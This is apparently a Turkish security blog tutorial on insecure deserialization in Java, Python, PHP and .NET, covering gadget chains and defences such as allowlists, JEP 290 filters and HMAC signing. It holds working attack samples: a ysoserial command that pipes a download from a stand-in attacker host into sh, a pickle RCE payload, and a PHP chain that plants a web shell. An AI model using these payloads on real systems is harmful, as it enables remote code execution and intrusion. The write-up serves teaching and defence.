Write-upweb-application

Güvensiz Deserializasyon: Nesne Enjeksiyonundan RCE'ye

Java, Python, PHP ve .NET'te gadget zincirleri nasıl çalışır ve nasıl savunulur

AL
AltaySecAltaySec Red Team
26 Ağustos 2026
10 dakika okuma
Özet

Güvensiz deserializasyon, uygulamanın saldırgan kontrolündeki seri veriyi doğrulamadan nesneye dönüştürmesidir; native serileştirme formatları (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter) deserializasyon sırasında sınıfları örnekler ve metotları tetikler, bu da mevcut kütüphanelerdeki "gadget" sınıfları zincirleyerek uzaktan kod çalıştırmaya (RCE) yol açar. Savunmanın temeli güvenilmez veriyi hiç deserialize etmemek, JSON gibi veri-only formatlara geçmek, kaçınılmazsa sınıf allowlist filtreleri ve imzalama uygulamaktır.

Güvensiz Deserializasyon Nedir ve Neden RCE’ye Dönüşür

Güvensiz deserializasyon, bir uygulamanın saldırgan tarafından kontrol edilebilen seri veriyi (byte akışı) doğrulamadan nesneye geri dönüştürmesidir. Tehlike, veriyi okumaktan değil, native serileştirme formatlarının deserializasyon sırasında sınıfları örneklemesi ve metotları otomatik olarak tetiklemesinden kaynaklanır. Saldırgan, hedef ortamda zaten yüklü olan kütüphanelerdeki “kullanışlı” sınıfları (gadget) bir araya dizerek, tek bir readObject()/unserialize()/pickle.loads() çağrısını uzaktan komut çalıştırmaya (RCE) çevirebilir.

Kritik nokta şudur: saldırgan yeni kod yüklemez. Bunun yerine uygulamanın classpath’inde bulunan meşru sınıfların yan etkilerini zincirler — buna Property-Oriented Programming (POP) denir. PortSwigger’ın tarifiyle bir “gadget”, deserialize edildiğinde istismar için kullanılabilen bir nesne özelliği veya metodudur; bazı kütüphaneler saldırganın hazır zincir kurabileceği gadget’lar barındırır (PortSwigger).

Bu sınıf zafiyet OWASP Top 10 2017’de A8:2017-Insecure Deserialization olarak ayrı bir başlıktı; 2021 sürümünde daha geniş A08:2021 – Software and Data Integrity Failures kategorisine dahil edildi. Etki neredeyse her zaman yüksektir: RCE, yetki yükseltme veya tam sistem ele geçirme.

Belirti (kod deseni): güvenilmez bir kaynaktan (HTTP gövdesi, çerez, kuyruk mesajı, RMI/JMX) gelen byte’ların doğrudan bir deserializasyon sink’ine verilmesi.

// Java — güvensiz sink
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();   // sınıf ve tetiklenen metotlar saldırgan kontrolünde

Sonraki bölümler dört ekosistemin her birinde bu deseni RCE’ye dönüştüren mekanizmayı ayrı ayrı ele alır.

Java: ysoserial ve Gadget Zincirleri

Java’da ObjectInputStream.readObject(), akıştaki sınıf adına göre nesneyi yeniden kurar ve readObject, readResolve, readExternal gibi callback metotlarını çağırır. Saldırgan, bu callback’leri tetik noktası olarak kullanan bir nesne grafiği hazırlar.

Klasik örnek Apache Commons Collections zinciridir (CVE-2015-7501). Zincirin çekirdeği InvokerTransformer sınıfıdır: bu sınıf, kendisine verilen bir nesne üzerinde reflection ile rastgele bir metot çağırabilir. Bir ChainedTransformer içinde sıralanan transformer’lar, sonunda Runtime.getRuntime().exec(...) çağrısına ulaşır. Deserializasyon sırasında bir PriorityQueue veya AnnotationInvocationHandler gibi bir yapı, elemanları üzerinde compare()/get() çağırdığında zincir tetiklenir ve komut çalışır (Red Hat Bugzilla). Bu zafiyet 2015’te WebSphere, WebLogic, JBoss ve JMX/RMI arayüzü açık sayısız üründe zero-day olarak kullanıldı.

ysoserial, bu tür zincirlerin payload’unu üreten kanıt-of-concept aracıdır — Commons Collections, Spring, Groovy, Hibernate gibi kütüphaneler için onlarca hazır zincir içerir (frohoff/ysoserial):

# Classpath'te commons-collections varsa çalışacak bir RCE payload'u üret
java -jar ysoserial.jar CommonsCollections1 \
     'curl http://saldirgan.example/x | sh' > payload.bin

# Payload, hedefin readObject() sink'ine gönderilir (HTTP gövdesi, T3, JMX...)
curl --data-binary @payload.bin http://hedef.example/api/import

Önemli inceliği vurgulamak gerekir: zincir yalnızca gerekli gadget kütüphanesi hedefte yüklüyse çalışır. ysoserial zincir adı (ör. CommonsCollections1, Spring1) tam olarak hangi bağımlılığın gerektiğini belirtir. Bu yüzden saldırının başarısı, uygulamanın bağımlılık ağacına doğrudan bağlıdır; savunmada bağımlılık envanteri ve gadget azaltımı bu yüzden önemlidir.

Python: pickle ve __reduce__ ile Kod Çalıştırma

Python’un pickle modülü tasarım gereği rastgele nesneleri seri hale getirebilir ve bunu yaparken çağrılabilir bir nesne ile argümanları akışa gömer. Bir sınıf __reduce__() metodu tanımladığında, pickle.loads() deserializasyon sırasında bu metodun döndürdüğü (callable, args) çiftini çalıştırır. Bu, doğrudan bir kod çalıştırma primitifidir (David Hamann).

import pickle, os, base64

class RCE:
    def __reduce__(self):
        # Deserialize edilince os.system("id") çağrılır
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())

# --- Kurban tarafı ---
data = base64.b64decode(payload)
pickle.loads(data)   # "id" komutu burada çalışır

Buradaki önemli fark: Java/PHP’nin aksine Python’da harici bir gadget kütüphanesine ihtiyaç yoktur. os.system, subprocess.Popen, builtins.exec gibi standart kütüphane çağrılabilirleri her ortamda hazırdır; pickle‘ın kendisi tek başına RCE primitifi sağlar. Bu, pickle’ı güvenilmez veri için özellikle tehlikeli kılar.

Aynı risk PyYAML‘ın yaml.load() fonksiyonunda da vardır — güvenli olmayan yükleyici Python nesneleri örnekleyebilir; çözüm her zaman yaml.safe_load() kullanmaktır. jsonpickle da benzer şekilde nesne örnekler.

Ekosistemin tamamı bu deseni miras alır: makine öğrenmesi modellerinin (.pkl, bazı PyTorch checkpoint’leri) pickle üzerine kurulu olması, “model indir ve yükle” akışlarını doğrudan RCE yüzeyine çevirir. Nitekim pickle’ın statik tarayıcılarını atlatan gerçek dünya zafiyetleri raporlanmıştır (ör. picklescan atlatması CVE-2025-1716, GitHub Advisory). Statik tarama tek başına güvence değildir.

PHP: Nesne Enjeksiyonu ve POP Zincirleri

PHP’de unserialize(), seri metindeki sınıf adına göre bir nesne örnekler. Saldırgan, uygulamada tanımlı herhangi bir sınıfın örneğini ve tüm özelliklerini seçebilir. Kod çalıştırma, örneklenen sınıfın magic metotları üzerinden gerçekleşir: __wakeup() (deserializasyon anında) ve __destruct() (nesne yok edilirken) en yaygın tetik noktalarıdır (OWASP PHP Object Injection).

OWASP’ın belirttiği iki koşul gereklidir: (1) uygulamada unserialize()‘a ulaşan bir giriş, (2) yıkıcı bir magic metoda sahip, POP zincirine başlangıç olabilecek bir sınıf. Saldırgan bu sınıfın özelliklerini tümüyle kontrol ettiği için (“Property-Oriented Programming”), zinciri istediği dosya yazma, komut çalıştırma veya SQL enjeksiyonuna yönlendirebilir.

<?php
// Uygulamada var olan zararsız görünen bir sınıf
class LogWriter {
    public $file = "/var/log/app/access.log";
    public $data = "";
    public function __destruct() {
        file_put_contents($this->file, $this->data);  // gadget: keyfi dosya yazma
    }
}

// --- Saldırgan tarafı: seri hali üret ---
$o = new LogWriter();
$o->file = "/var/www/html/shell.php";
$o->data = "<?php system(\$_GET['c']); ?>";
echo serialize($o);
// O:9:"LogWriter":2:{s:4:"file";s:23:"/var/www/html/shell.php";
//   s:4:"data";s:28:"<?php system($_GET['c']); ?>";}

Yukarıdaki seri metin unserialize()‘a ulaştığında, script sonunda __destruct() tetiklenir ve web köküne bir web shell yazılır. Gerçek dünyada zincirler tek sınıfla sınırlı kalmaz; bir sınıfın magic metodu, saldırganın yerleştirdiği ikinci bir nesnenin metodunu çağırarak zinciri uzatır. PHPGGC (PHP Generic Gadget Chains) aracı, Laravel, Symfony, Monolog gibi popüler framework’ler için hazır POP zincirleri üretir — Java’daki ysoserial‘in PHP karşılığıdır.

.NET: BinaryFormatter ve TypeConfuseDelegate

.NET’te BinaryFormatter.Deserialize(), akıştaki tür bilgisini kullanarak nesneleri yeniden kurar ve deserializasyon callback’lerini tetikler. En bilinen gadget TypeConfuseDelegate‘tir (James Forshaw): bir delegate nesnesinin çağrı listesini “tür karışıklığı” ile manipüle ederek, deserializasyon sırasında saldırganın seçtiği metodu çalıştırır.

ysoserial.net, .NET formatlayıcıları için payload üretir ve TypeConfuseDelegate gadget’ını BinaryFormatter, LosFormatter ve NetDataContractSerializer ile destekler (ysoserial.net):

# BinaryFormatter için TypeConfuseDelegate payload'u
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter `
  -c "cmd.exe /C calc.exe" -o base64
// Güvensiz .NET sink
var fmt = new BinaryFormatter();
object obj = fmt.Deserialize(stream);   // tür saldırgan kontrolünde

LosFormatter/ObjectStateFormatter özellikle ASP.NET ViewState ile ilişkilidir; makine anahtarı sızmış veya zayıfsa ViewState deserializasyonu doğrudan RCE’ye açılır. Ayrıca Json.NET‘te TypeNameHandling ayarının None dışında bir değere sahip olması, JSON üzerinden tür enjeksiyonuna ve dolayısıyla deserializasyon saldırılarına imkan verir (OWASP Deserialization Cheat Sheet).

Microsoft BinaryFormatter‘ı güvenlik nedeniyle .NET 5’ten itibaren obsolete/güvensiz olarak işaretledi ve .NET 9 ile çalışma zamanından kaldırdı (API’ler artık PlatformNotSupportedException fırlatır); bu, ekosistemin bu formatlayıcıyı tümüyle terk etme yönünde net bir sinyalidir.

Diller, Tehlikeli Fonksiyonlar ve Savunmalar

Aşağıdaki tablo dört ekosistemin tehlikeli deserializasyon sink’lerini, tetik mekanizmasını ve önerilen savunmayı özetler. Fonksiyon ve API adları OWASP Deserialization Cheat Sheet ile hizalıdır.

Dil Tehlikeli fonksiyon / sink Tetik mekanizması Birincil savunma
Java ObjectInputStream.readObject(), readUnshared(), XMLDecoder, eski XStream.fromXML() readObject/readResolve callback’leri gadget zincirini çalıştırır JEP 290 ObjectInputFilter allowlist; ValidatingObjectInputStream; JSON’a geçiş
Python pickle.loads(), cPickle, yaml.load(), jsonpickle.decode() __reduce__(callable, args) çalıştırılır json kullan; zorunluysa Unpickler.find_class allowlist + HMAC imza; yaml.safe_load()
PHP unserialize() __wakeup() / __destruct() magic metotları POP zinciri başlatır unserialize($d, ['allowed_classes' => false]); json_decode()
.NET BinaryFormatter, LosFormatter, NetDataContractSerializer, Json.NET (TypeNameHandling != None) Delegate/tür karışıklığı ile metot çağrısı BinaryFormatter‘ı terk et; System.Text.Json/DataContractSerializer; SerializationBinder allowlist

Tablodan çıkan ortak ders: her ekosistemde asıl çözüm, native (kod-taşıyan) serileştirmeyi güvenilmez veri için tümüyle bırakıp veri-only bir formata (JSON) geçmektir. Filtreler ve allowlist’ler yalnızca native format kaçınılmazsa devreye girmelidir.

Savunma: Güvenli Deserializasyon Mimarisi

Savunmayı katmanlı bir öncelik sırasıyla kurun. OWASP’ın temel ilkesi nettir: güvenilmez kaynaklardan gelen seri nesneleri kabul etmeyin; bu mümkün değilse bütünlük kontrolleri (dijital imza) uygulayın.

1. Güvenilmez veriyi native formatla deserialize etmeyin. İlk ve en etkili adım budur. Oturum, çerez, API gövdesi ve kuyruk mesajları için JSON/Protobuf gibi kod taşımayan formatları, alanları açıkça eşleyen (map eden) parser’larla kullanın. Bu, gadget tetikleme yüzeyini ortadan kaldırır.

2. Kaçınılmazsa sınıf allowlist’i uygulayın (denylist değil). Denylist her yeni gadget keşfinde atlatılır; yalnızca beklenen DTO sınıflarına izin verin.

// Java 9+ JEP 290 — yalnızca uygulama DTO'larına ve temel tiplere izin ver
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.dto.*;java.base/java.util.*;!*");  // sondaki !* geri kalan her şeyi reddeder
ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();

JVM genelinde -Djdk.serialFilter=com.myapp.dto.*;!* sistem özelliğiyle global filtre de tanımlanabilir. Apache Commons IO’nun ValidatingObjectInputStream‘i veya resolveClass() override’ı da aynı allowlist mantığını sağlar.

Python’da eşdeğeri özel bir Unpickler‘dır:

import pickle

class SafeUnpickler(pickle.Unpickler):
    ALLOWED = {("builtins", "dict"), ("builtins", "list"), ("app.models", "User")}
    def find_class(self, module, name):
        if (module, name) not in self.ALLOWED:
            raise pickle.UnpicklingError(f"Yasak sınıf: {module}.{name}")
        return super().find_class(module, name)

PHP’de tek satırlık savunma: unserialize($data, ['allowed_classes' => false]); — hiçbir sınıfın örneklenmesine izin vermez, yalnızca ilkel tipleri döndürür. .NET’te BinaryFormatter‘ı bırakıp System.Text.Json kullanın veya zorunlu türlü senaryolarda sıkı bir SerializationBinder allowlist’i tanımlayın.

3. Bütünlük ve kaynak doğrulaması ekleyin. Deserialize etmeden önce verinin değiştirilmediğini HMAC/dijital imza ile doğrulayın. Bu, çerez veya token gibi istemciye giden seri verilerde özellikle kritiktir — imza doğrulanmadan hiçbir byte parser’a girmemelidir.

import io, hmac, hashlib

def verify_and_load(blob: bytes, sig: bytes, key: bytes):
    expected = hmac.new(key, blob, hashlib.sha256).digest()
    if not hmac.compare_digest(expected, sig):   # sabit zamanlı karşılaştırma
        raise ValueError("Bütünlük doğrulaması başarısız")
    return SafeUnpickler(io.BytesIO(blob)).load()

İmzalama gizliliği sağlamaz, yalnızca değiştirilmemişliği garanti eder; bu yüzden allowlist ile birlikte kullanılmalıdır (savunmada derinlik).

4. Bağımlılık yüzeyini ve ayrıcalıkları daraltın. Gadget zincirleri yüklü kütüphanelere dayandığından, kullanılmayan bağımlılıkları kaldırın ve SCA (Software Composition Analysis) ile bilinen zafiyetli sürümleri (ör. CVE-2015-7501 içeren commons-collections) tespit edip yükseltin. Deserializasyon yapan servisleri en az ayrıcalıkla ve mümkünse ağ segmentasyonu/sandbox içinde çalıştırın; RMI/JMX gibi native protokol portlarını dışa açmayın.

Tespit ve Test

Zafiyeti üç eksende arayın:

  • Statik (kod incelemesi): Tablodaki sink’leri grep’leyin — readObject, unserialize, pickle.loads, yaml.load, BinaryFormatter, TypeNameHandling. Sink’e giden verinin kaynağını (taint) güvenilmez girdiye kadar izleyin.
  • Dinamik (davranışsal): Base64/hex bloklar, Java için AC ED 00 05 (rO0 base64 ön eki), .NET için AAEAAAD gibi seri veri imzalarını trafikte ve çerezlerde arayın. PortSwigger’ın önerdiği yaklaşım, seri nesneyi tespit edip alanlarını (tip dahil) değiştirerek uygulamanın tepkisini gözlemlemektir (PortSwigger).
  • Payload üretimi: Kontrollü testlerde ysoserial (Java), PHPGGC (PHP), ysoserial.net (.NET) ile hangi gadget zincirinin classpath ile eşleştiğini deneyin. RCE’yi doğrudan komutla değil, önce DNS/HTTP out-of-band geri çağrı (Collaborator benzeri) ile doğrulamak daha güvenlidir.

Özet: Güvensiz deserializasyon, “veriyi okuma” gibi görünen ama aslında “kod çalıştırma” olan bir işlemdir; çünkü native formatlar deserializasyonu nesne kurma + metot tetikleme olarak tanımlar. Dört ekosistemde de mekanizma aynıdır — mevcut sınıfları zincirleyerek yan etkileri RCE’ye yönlendirmek. Tek gerçek panzehir, güvenilmez veriyi hiç native deserialize etmemek; bunun mümkün olmadığı yerde allowlist filtreleri, imzalama ve daraltılmış bağımlılık yüzeyini bir arada uygulamaktır.

Kaynaklar

AL
AltaySec
AltaySec Red Team
AltaySec Arşiv topluluğuna katkı veren yazar. Türkçe siber güvenlik bilgi tabanını birlikte büyütüyoruz.

Sen de yaz, arşivde yerini al

AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.

Yazar Ol